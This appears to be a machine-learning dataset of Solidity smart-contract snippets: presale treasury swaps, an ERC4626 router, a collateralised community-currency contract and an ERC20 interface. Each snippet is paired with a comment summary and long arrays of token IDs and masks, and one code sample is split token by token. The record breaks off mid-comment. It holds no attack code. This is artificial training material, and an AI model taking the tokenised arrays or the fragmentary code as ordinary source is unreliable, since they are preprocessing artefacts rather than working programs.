function extendUnlockTime(uint256 _unlockTime) external onlyGov nonReentrant {
require(_unlockTime > unlockTime, "Treasury: invalid _unlockTime");
unlockTime = _unlockTime;
}
function addWhitelists(address[] memory _accounts) external onlyGov nonReentrant {
for (uint256 i = 0; i < _accounts.length; i++) {
address account = _accounts[i];
swapWhitelist[account] = true;
}
}
function removeWhitelists(address[] memory _accounts) external onlyGov nonReentrant {
for (uint256 i = 0; i < _accounts.length; i++) {
address account = _accounts[i];
swapWhitelist[account] = false;
}
}
function updateWhitelist(address prevAccount, address nextAccount) external onlyGov nonReentrant {
require(swapWhitelist[prevAccount], "Treasury: invalid prevAccount");
swapWhitelist[prevAccount] = false;
swapWhitelist[nextAccount] = true;
}
function swap(uint256 _busdAmount) external nonReentrant {
address account = msg.sender;
require(swapWhitelist[account], "Treasury: forbidden");
require(isSwapActive, "Treasury: swap is no longer active");
require(_busdAmount > 0, "Treasury: invalid _busdAmount");
busdReceived = busdReceived.add(_busdAmount);
require(busdReceived <= busdHardCap, "Treasury: busdHardCap exceeded");
swapAmounts[account] = swapAmounts[account].add(_busdAmount);
require(swapAmounts[account] <= busdSlotCap, "Treasury: busdSlotCap exceeded");
// receive BUSD
uint256 busdBefore = IERC20(busd).balanceOf(address(this));
IERC20(busd).transferFrom(account, address(this), _busdAmount);
uint256 busdAfter = IERC20(busd).balanceOf(address(this));
require(busdAfter.sub(busdBefore) == _busdAmount, "Treasury: invalid transfer");
// send GMT
uint256 gmtAmount = _busdAmount.mul(PRECISION).div(gmtPresalePrice);
IERC20(gmt).transfer(account, gmtAmount);
}
function addLiquidity() external onlyGov nonReentrant {
require(!isLiquidityAdded, "Treasury: liquidity already added");
isLiquidityAdded = true;
uint256 busdAmount = busdReceived.mul(busdBasisPoints).div(BASIS_POINTS_DIVISOR);
uint256 gmtAmount = busdAmount.mul(PRECISION).div(gmtListingPrice);
IERC20(busd).approve(router, busdAmount);
IERC20(gmt).approve(router, gmtAmount);
IGMT(gmt).endMigration();
IPancakeRouter(router).addLiquidity(
busd, // tokenA
gmt, // tokenB
busdAmount, // amountADesired
gmtAmount, // amountBDesired
0, // amountAMin
0, // amountBMin
address(this), // to
block.timestamp // deadline
);
IGMT(gmt).beginMigration();
uint256 fundAmount = busdReceived.sub(busdAmount);
IERC20(busd).transfer(fund, fundAmount);
}
function withdrawToken(address _token, address _account, uint256 _amount) external override onlyGov nonReentrant {
require(block.timestamp > unlockTime, "Treasury: unlockTime not yet passed");
IERC20(_token).transfer(_account, _amount);
}
function increaseBusdBasisPoints(uint256 _busdBasisPoints) external onlyGov nonReentrant {
require(_busdBasisPoints > busdBasisPoints, "Treasury: invalid _busdBasisPoints");
busdBasisPoints = _busdBasisPoints;
}
function endSwap() external onlyGov nonReentrant {
isSwapActive = false;
}
}
|
receive BUSD send GMT
|
function swap(uint256 _busdAmount) external nonReentrant {
address account = msg.sender;
require(swapWhitelist[account], "Treasury: forbidden");
require(isSwapActive, "Treasury: swap is no longer active");
require(_busdAmount > 0, "Treasury: invalid _busdAmount");
busdReceived = busdReceived.add(_busdAmount);
require(busdReceived <= busdHardCap, "Treasury: busdHardCap exceeded");
swapAmounts[account] = swapAmounts[account].add(_busdAmount);
require(swapAmounts[account] <= busdSlotCap, "Treasury: busdSlotCap exceeded");
uint256 busdBefore = IERC20(busd).balanceOf(address(this));
IERC20(busd).transferFrom(account, address(this), _busdAmount);
uint256 busdAfter = IERC20(busd).balanceOf(address(this));
require(busdAfter.sub(busdBefore) == _busdAmount, "Treasury: invalid transfer");
uint256 gmtAmount = _busdAmount.mul(PRECISION).div(gmtPresalePrice);
IERC20(gmt).transfer(account, gmtAmount);
}
| 6,475,590 |
[
1,
18149,
605,
3378,
40,
1366,
21706,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
7720,
12,
11890,
5034,
389,
9274,
72,
6275,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
1758,
2236,
273,
1234,
18,
15330,
31,
203,
3639,
2583,
12,
22270,
18927,
63,
4631,
6487,
315,
56,
266,
345,
22498,
30,
17987,
8863,
203,
3639,
2583,
12,
291,
12521,
3896,
16,
315,
56,
266,
345,
22498,
30,
7720,
353,
1158,
7144,
2695,
8863,
203,
3639,
2583,
24899,
9274,
72,
6275,
405,
374,
16,
315,
56,
266,
345,
22498,
30,
2057,
389,
9274,
72,
6275,
8863,
203,
203,
3639,
5766,
72,
8872,
273,
5766,
72,
8872,
18,
1289,
24899,
9274,
72,
6275,
1769,
203,
3639,
2583,
12,
9274,
72,
8872,
1648,
5766,
72,
29601,
4664,
16,
315,
56,
266,
345,
22498,
30,
5766,
72,
29601,
4664,
12428,
8863,
203,
203,
3639,
7720,
6275,
87,
63,
4631,
65,
273,
7720,
6275,
87,
63,
4631,
8009,
1289,
24899,
9274,
72,
6275,
1769,
203,
3639,
2583,
12,
22270,
6275,
87,
63,
4631,
65,
1648,
5766,
72,
8764,
4664,
16,
315,
56,
266,
345,
22498,
30,
5766,
72,
8764,
4664,
12428,
8863,
203,
203,
3639,
2254,
5034,
5766,
72,
4649,
273,
467,
654,
39,
3462,
12,
9274,
72,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
467,
654,
39,
3462,
12,
9274,
72,
2934,
13866,
1265,
12,
4631,
16,
1758,
12,
2211,
3631,
389,
9274,
72,
6275,
1769,
203,
3639,
2254,
5034,
5766,
72,
4436,
273,
467,
654,
39,
3462,
12,
9274,
72,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
9274,
72,
2
] |
./full_match/100/0x240930F183D8A3c5845Fa49066b36df41cE680c2/sources/contracts/ERC4626-router/src/ERC4626Router.sol
|
@inheritdoc IERC4626Router
|
function withdrawToDeposit(
IERC4626 fromVault,
IERC4626 toVault,
address to,
uint256 amount,
uint256 maxSharesIn,
uint256 minSharesOut
) external payable override returns (uint256 sharesOut) {
withdraw(fromVault, address(this), amount, maxSharesIn);
return deposit(toVault, to, amount, minSharesOut);
}
| 14,271,605 |
[
1,
36,
10093,
467,
654,
39,
8749,
5558,
8259,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
598,
9446,
774,
758,
1724,
12,
203,
3639,
467,
654,
39,
8749,
5558,
628,
12003,
16,
203,
3639,
467,
654,
39,
8749,
5558,
358,
12003,
16,
203,
3639,
1758,
358,
16,
203,
3639,
2254,
5034,
3844,
16,
203,
3639,
2254,
5034,
943,
24051,
382,
16,
203,
3639,
2254,
5034,
1131,
24051,
1182,
203,
565,
262,
3903,
8843,
429,
3849,
1135,
261,
11890,
5034,
24123,
1182,
13,
288,
203,
3639,
598,
9446,
12,
2080,
12003,
16,
1758,
12,
2211,
3631,
3844,
16,
943,
24051,
382,
1769,
203,
3639,
327,
443,
1724,
12,
869,
12003,
16,
358,
16,
3844,
16,
1131,
24051,
1182,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./OracleGetter.sol";
import "./ERC20.sol";
import "./Inflation.sol";
import "hardhat/console.sol";
/**
@author Tellor Inc.
@title Chorus
@dev Chorus is a structure for issuing semi-stablecoins as community currencies
**/
// slither-disable-next-line missing-inheritance
contract Chorus is Inflation, OracleGetter, ERC20 {
/*Events*/
event CollateralThreshold(uint256 _collateralThreshold);//emits if collateral threshold changes
event CollateralPriceAge(uint256 _collateralPriceAge);//emits if collateral price age changes
event Liquidate(
address _party,
uint256 _tokensAmnt,
uint256 _collateralAmnt,
uint256 _collateralPenalty
);//emits upon a liquidation
event LiquidationPenatly(uint256 _newPenalty);//emits when the liquidation penalty changes
event MintTokens(
address _holder,
uint256 _amount,
address _to,
uint256 _collateralRatio
);//emits when new tokens are minted
event NewAdmin(address _newAdmin);//emits when a new admin is set
event WithdrawCollateral(
address _holder,
uint256 _collateralAmnt,
uint256 _collateralRatio
);//emits when collateral is withdrawn
event WithdrawToken(address _holder, uint256 _tokenAmnt, uint256 _collateralAmnt);//emits when tokens are withdrawn
event WithdrawTokenRequest(address _user, uint256 _amount);
/*Variables*/
struct WithdrawDetails{
uint256 amount;
uint256 requestDate;
}
ERC20 public collateralToken;
address public admin = msg.sender;
uint256 private tknPrice = 1e18;
uint256 public collateralID; // The collateral id used to check the Tellor oracle for its USD price.
uint256 public collateralPriceGranularity; //usually 1000000 in the Tellor system
uint256 public collateralThreshold = 15e17; // 150%.
uint256 public collateralPriceAge = 3600; // e.g. 1hr. This is the delay in the feed from Tellor
uint256 public liquidationPenatly = 0;
uint256 public inflRatePerSec;// The rate at which the token decreases value. 1e18 precision. 100e18 is 100%.
uint256 public inflLastUpdate = block.timestamp;
address public inflBeneficiary; // Where to send the inflation tokens.
mapping(address => WithdrawDetails) withdrawRequested;
/*Modifiers*/
modifier onlyAdmin {
require(msg.sender == admin, "not an admin");
_;
}
modifier within100e18Range(uint256 _value) {
require(_value > 0 && _value < 100e18, "value not within allowed limits");
_;
}
/*Functions*/
/**
* @dev This is the constructor, sets the inital paramaters in the system
* The parameters include, the Tellor Address, collateral token's address,
* collateral token's requestID, the price granualrity, the token name,
* token's symbol, inflation rate per year, and the inflation beneficiary
*/
constructor(
address payable _tellorAddress,
address _collateralToken,
uint256 _collateralID,
uint256 _collateralPriceGranularity,
string memory _tokenName,
string memory _tokenSymbol,
uint256 _inflRatePerYear,
address _inflBeneficiary,
bool _isWhitelisted
)
OracleGetter(_tellorAddress)
ERC20(_tokenName, _tokenSymbol,_isWhitelisted)
within100e18Range(_inflRatePerYear)
{
collateralID = _collateralID;
collateralToken = ERC20(_collateralToken);
collateralPriceGranularity = _collateralPriceGranularity;
require(_collateralPriceGranularity > 0 && _collateralPriceGranularity <= 1e18, "value not within allowed limits");
require(_inflBeneficiary != address(0), "benificiary address not set");
inflBeneficiary = _inflBeneficiary;
inflRatePerSec = yearlyRateToPerSec(_inflRatePerYear);
}
/**
* @dev Returns the current token price in USD reduced by the current inflation.
* @return uint256 token price
*/
function collateralBalance() external view returns (uint256) {
return collateralToken.balanceOf(address(this));
}
/**
* @dev Checks the Tellor oracle and gets the collateral price
* @return uint256 collateral price in USD upscaled to e18 precision.
*/
// slither-disable-next-line timestamp
function collateralPrice() public view returns (uint256) {
(bool _didGet, uint256 _collateralPrice, ) =
_getDataBefore(collateralID, block.timestamp - collateralPriceAge);
require(_didGet, "getting oracle price");
return mul(_collateralPrice, div(1e18, collateralPriceGranularity));
}
/**
* @dev A view funciton to look at the collateralization of the system
* @return uint256 collateral token balance of this address / totalSupply
*/
function collateralRatio() public view returns (uint256) {
uint256 _collateralBalance = collateralToken.balanceOf(address(this));
// slither-disable-next-line incorrect-equality
if(totalSupply() == 0 || _collateralBalance == 0) {
return 0;
}
uint256 _collateralValue = wmul(collateralPrice(), _collateralBalance);
uint256 tokenSupplyWithInflInterest =
accrueInterest(totalSupply(), inflRatePerSec, block.timestamp - inflLastUpdate);
uint256 _tokenValue = wmul(tokenPrice(), tokenSupplyWithInflInterest);
if(_tokenValue == 0){
return 100e18;
}
return wdiv(_collateralValue,_tokenValue);
}
/**
* @dev Allows the admin to deposit collateral
* @param _amount the amount of collateral token to deposit
*/
function depositCollateral(uint256 _amount) external onlyAdmin {
require(_amount > 0, "deposit amount 0");
require(
collateralToken.transferFrom(msg.sender, address(this), _amount),
"failed collateral deposit transfer"
);
}
/**
* @dev Function to allow anyone to liquidate the system if it is undercollateralized
*/
function liquidate() external {
require(
collateralRatio() < collateralThreshold,
"collateral utilizatoin is above threshold"
);
require(balanceOf(msg.sender) > 0, "msg sender doesn't own any tokens");
uint256 _tknSuplyRatio =
wdiv(collateralToken.balanceOf(address(this)), totalSupply());
uint256 _tokensToBurn = balanceOf(msg.sender);
uint256 _collatAmt = wmul(_tokensToBurn, _tknSuplyRatio);
uint256 _collatPenalty = wmul(_collatAmt, liquidationPenatly);
emit Liquidate(msg.sender, _tokensToBurn, _collatAmt, _collatPenalty);
_burn(msg.sender, _tokensToBurn);
require(
collateralToken.transfer(msg.sender, sub(_collatAmt, _collatPenalty)),
"collateral liquidation transfer fails"
);
require(
collateralToken.transfer(inflBeneficiary, _collatPenalty),
"collateral liquidation penalty transfer fails"
);
}
/**
* @dev Allows the admin to mint tokens up to the collateral threshold
* @param _amount the amount of collateral tokens to mint
* @param _to the address to mint them to;
*/
function mintToken(uint256 _amount, address _to) external onlyAdmin {
_mint(_to, _amount);
uint256 _cRatio = collateralRatio();
require(
_cRatio >= collateralThreshold,
"collateral utilization below the threshold"
);
emit MintTokens(msg.sender, _amount, _to, _cRatio);
}
/**
* @dev Allows a user to request to withdraw tokens
* @param _amount the amount of tokens to withdraw
*/
function requestWithdrawToken(uint256 _amount) external {
require(_amount > 0, "amount should be greater than 0");
require(balanceOf(msg.sender) >= _amount, "not enough balance");
withdrawRequested[msg.sender].requestDate = block.timestamp;
withdrawRequested[msg.sender].amount = _amount;
_transfer(msg.sender, address(this), _amount);
emit WithdrawTokenRequest(msg.sender, _amount);
}
/**
* @dev Allows the user to set a new admin address
* @param _newAdmin the address of the new admin address
*/
function setAdmin(address _newAdmin) external onlyAdmin {
require(_newAdmin != address(0), "cannot send to the zero address");
admin = _newAdmin;
emit NewAdmin(_newAdmin);
}
/**
* @dev Allows the admin to set the collateral price Age (delay in feed from Tellor)
* @param _amount the amount of delay in the price feed (we want to wait for disputes)
*/
function setCollateralPriceAge(uint256 _amount) external onlyAdmin {
collateralPriceAge = _amount;
emit CollateralPriceAge(_amount);
}
/**
* @dev Allows the admin to set the Collateral threshold
* @param _amount new collateral threshold
*/
function setCollateralThreshold(uint256 _amount)
external
onlyAdmin
within100e18Range(_amount)
{
collateralThreshold = _amount;
emit CollateralThreshold(_amount);
}
/**
* @dev Allows the admin to set the liquidation penalty
* @param _amount the amount of the liquidation penalty
*/
function setLiquidationPenatly(uint256 _amount)
external
onlyAdmin
within100e18Range(_amount)
{
liquidationPenatly = wdiv(_amount, 100e18); // Convert to a fraction.
emit LiquidationPenatly(liquidationPenatly);
}
/**
* @dev Returns the current token price in USD reduced by the current inflation.
* @return uint256 token price
*/
function tokenPrice() public view returns (uint256) {
return
accrueInflation(
tknPrice,
inflRatePerSec,
block.timestamp - inflLastUpdate
);
}
/**
* @dev Function to reduce token price by the inflation rate,
* increases the total supply by the inflation rate and
* sends the new tokens to the inflation beneficiary.
*/
// slither-disable-next-line timestamp
function updateInflation() external {
uint256 secsPassed = block.timestamp - inflLastUpdate;
require(secsPassed > 0, "no inflation increase yet");
inflLastUpdate = block.timestamp;
tknPrice = accrueInflation(tknPrice, inflRatePerSec, secsPassed);
uint256 _tokensToMint =
sub(
accrueInterest(totalSupply(), inflRatePerSec, secsPassed),
totalSupply()
);
_mint(inflBeneficiary, _tokensToMint);
}
/**
* @dev Allows the admin to withdraw collateral above the threshold
* @param _amount the amount of collateral token to deposit
*/
function withdrawCollateral(uint256 _amount) external onlyAdmin {
require(
collateralToken.transfer(msg.sender, _amount),
"collateral transfer fails"
);
uint256 _cRatio = collateralRatio();
require(
_cRatio >= collateralThreshold,
"collateral utilization below the threshold"
);
// slither-disable-next-line reentrancy-events
emit WithdrawCollateral(msg.sender, _amount, _cRatio);
}
/**
* @dev Allows a user to withdraw tokens
*/
function withdrawToken() external {
WithdrawDetails memory wd = withdrawRequested[msg.sender];
uint256 _amount = withdrawRequested[msg.sender].amount;
require(_amount > 0, "amount should be greater than 0");
uint256 _waitPeriod = 1 + 100 * _amount / totalSupply() / 5; //increases by 1 day for every 5 percent
// slither-disable-next-line timestamp
require(block.timestamp - wd.requestDate >= 86400 * _waitPeriod, "must wait to withdraw");
withdrawRequested[msg.sender].amount = 0;
uint256 _collatPrice = collateralPrice();
uint256 _priceRatio = wdiv(tokenPrice(), _collatPrice);
uint256 _collateralAmnt = wmul(_priceRatio, _amount);
_burn(address(this), _amount);
require(
collateralToken.transfer(msg.sender, _collateralAmnt),
"collateral transfer fail"
);
// slither-disable-next-line reentrancy-events
emit WithdrawToken(msg.sender, _amount, _collateralAmnt);
}
}
|
emits when a new admin is set
|
event NewAdmin(address _newAdmin);
| 6,418,357 |
[
1,
351,
1282,
1347,
279,
394,
3981,
353,
444,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
871,
1166,
4446,
12,
2867,
389,
2704,
4446,
1769,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/3/0x83CFE7316F4D1f51e4421f598132eC8797b06eC9/sources/SpaceEx.sol
|
solhint-disable-next-line avoid-low-level-calls, avoid-call-value
|
function
sendValue
(
address
payable
recipient,
uint256
amount
)
internal
{
require
(
address
(
this
).
balance
>= amount,
"Address: insufficient balance"
);
(
bool
success, ) = recipient.
call
{
value:
amount }(
""
);
require
(success,
"Address: unable to send value, recipient may have reverted"
);
}
| 8,152,970 |
[
1,
18281,
11317,
17,
8394,
17,
4285,
17,
1369,
4543,
17,
821,
17,
2815,
17,
12550,
16,
4543,
17,
1991,
17,
1132,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
915,
203,
225,
203,
4661,
620,
203,
12,
203,
2867,
203,
225,
203,
10239,
429,
203,
8027,
16,
225,
203,
11890,
5034,
203,
3844,
203,
13,
225,
203,
7236,
203,
225,
203,
95,
203,
2398,
203,
6528,
203,
12,
203,
2867,
203,
12,
203,
2211,
203,
2934,
203,
12296,
203,
1545,
3844,
16,
225,
203,
6,
1887,
30,
2763,
11339,
11013,
6,
203,
1769,
203,
2398,
203,
203,
5411,
261,
203,
6430,
203,
2216,
16,
262,
273,
8027,
18,
203,
1991,
203,
95,
225,
203,
1132,
30,
203,
3844,
289,
12,
203,
3660,
203,
1769,
203,
2398,
203,
6528,
203,
12,
4768,
16,
225,
203,
6,
1887,
30,
13496,
358,
1366,
460,
16,
8027,
2026,
1240,
15226,
329,
6,
203,
1769,
203,
3639,
289,
203,
540,
203,
540,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
